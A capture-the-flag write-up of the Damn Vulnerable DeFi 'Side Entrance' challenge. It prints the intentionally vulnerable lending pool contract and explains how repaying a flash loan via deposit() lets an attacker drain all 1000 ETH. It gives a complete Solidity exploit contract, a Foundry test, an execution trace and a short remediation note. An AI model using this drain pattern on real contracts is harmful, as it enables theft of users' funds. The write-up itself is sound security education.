Challenge Link to heading
A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time. This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system. You must take all ETH from the lending pool.
Here is the lending pool contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import {Address} from "openzeppelin-contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;
mapping(address => uint256) private balances;
error NotEnoughETHInPool();
error FlashLoanHasNotBeenPaidBack();
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < amount) revert NotEnoughETHInPool();
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert FlashLoanHasNotBeenPaidBack();
}
}
Side entrance lender pool…π€ Sounds like a “lender pool with a back door” π
Analysis Link to heading
The first thing I’ve noticed is that the SideEntranceLenderPool
doesn’t use the ReentrancyGuard
, in contrast to what we’ve
seen in previous challenges. But at this moment it’s not obvious
for me how to leverage the re-entrancy here.
The contract has the balances
mapping to track the deposited ETH:
mapping(address => uint256) private balances;
Anyone can deposit funds using the deposit
function:
function deposit() external payable {
balances[msg.sender] += msg.value;
}
And they can withdraw their deposited funds by calling the
withdraw
function:
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
It uses the Checks-Effects-Interactions pattern, so it looks like it is invulnerable to the re-entrancy attack.
Let’s explore what the flashLoan
function does:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < amount) revert NotEnoughETHInPool();
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert FlashLoanHasNotBeenPaidBack();
}
- It takes an
amount
of Ether that the user wants to borrow. - Check if the lending pool has enough funds.
- Assumes that the
msg.sender
is a contract that implements theIFlashLoanEtherReceiver
interface and calls theexecute
function on it sending the requested amount of Ether. - Afterward, it checks that the flash loan has been repaid.
The problem is that the lending pool contract doesn’t check that its balance is less than or equal to the sum of all the deposited funds. What if we take a flash loan of all the pool’s funds and use the borrowed funds to make a deposit repaying the loan simultaneously? That should let us take all ETH and drain the pool.
Exploit Link to heading
We need a contract that is going to take the loan. Let’s call it
Exploit
. It should implement the IFlashLoanEtherReceiver
interface and have the receive
function so we could withdraw
our deposited funds later.
contract Exploit is IFlashLoanEtherReceiver {
SideEntranceLenderPool private pool;
address private owner;
constructor(SideEntranceLenderPool _pool) {
owner = msg.sender;
pool = _pool;
}
function execute() external payable {
require(msg.sender == address(pool), "Sender is not a pool");
// ...
}
function run() external {
require(msg.sender == owner, "Not an owner");
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
// ...
// Send stolen funds to the owner (attacker)
payable(owner).sendValue(address(this).balance);
}
receive() external payable {}
}
The following sequence diagram shows our exploit scenario:
The exploit:
contract Exploit is IFlashLoanEtherReceiver {
using Address for address payable;
SideEntranceLenderPool private pool;
address private owner;
constructor(SideEntranceLenderPool _pool) {
owner = msg.sender;
pool = _pool;
}
function execute() external payable {
require(msg.sender == address(pool), "Sender is not a pool");
pool.deposit{value: msg.value}();
}
function run() external {
require(msg.sender == owner, "Not an owner");
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
pool.withdraw();
payable(owner).sendValue(address(this).balance);
}
receive() external payable {}
}
function testExploit() public {
/** EXPLOIT START **/
vm.startPrank(attacker);
Exploit expl = new Exploit(sideEntranceLenderPool);
expl.run();
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
The forge’s trace reflects what we’ve seen on the diagram above:
[304450] SideEntrance::testExploit()
ββ [0] VM::startPrank(Attacker: [0x9af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7])
β ββ β ()
ββ [225707] β new Exploit@"0x8ff7β¦c3ec"
β ββ β 905 bytes of code
ββ [44491] Exploit::run()
β ββ [37187] Side Entrance Lender Pool::flashLoan(1000000000000000000000)
β β ββ [29848] Exploit::execute{value: 1000000000000000000000}()
β β β ββ [22410] Side Entrance Lender Pool::deposit{value: 1000000000000000000000}()
β β β β ββ β ()
β β β ββ β ()
β β ββ β ()
β ββ [5971] Side Entrance Lender Pool::withdraw()
β β ββ [55] Exploit::fallback{value: 1000000000000000000000}()
β β β ββ β ()
β β ββ β ()
β ββ [0] Attacker::fallback{value: 1000000000000000000000}()
β β ββ β ()
β ββ β ()
ββ [0] VM::stopPrank()
β ββ β ()
ββ β ()
Remediation Link to heading
Use the ReentrancyGuard
from OpenZeppelin to fix the
cross-function
reentrancy.
References Link to heading
Thanks for reading! The solution code is here.
Let’s move on to the next challenge – #5 The rewarder!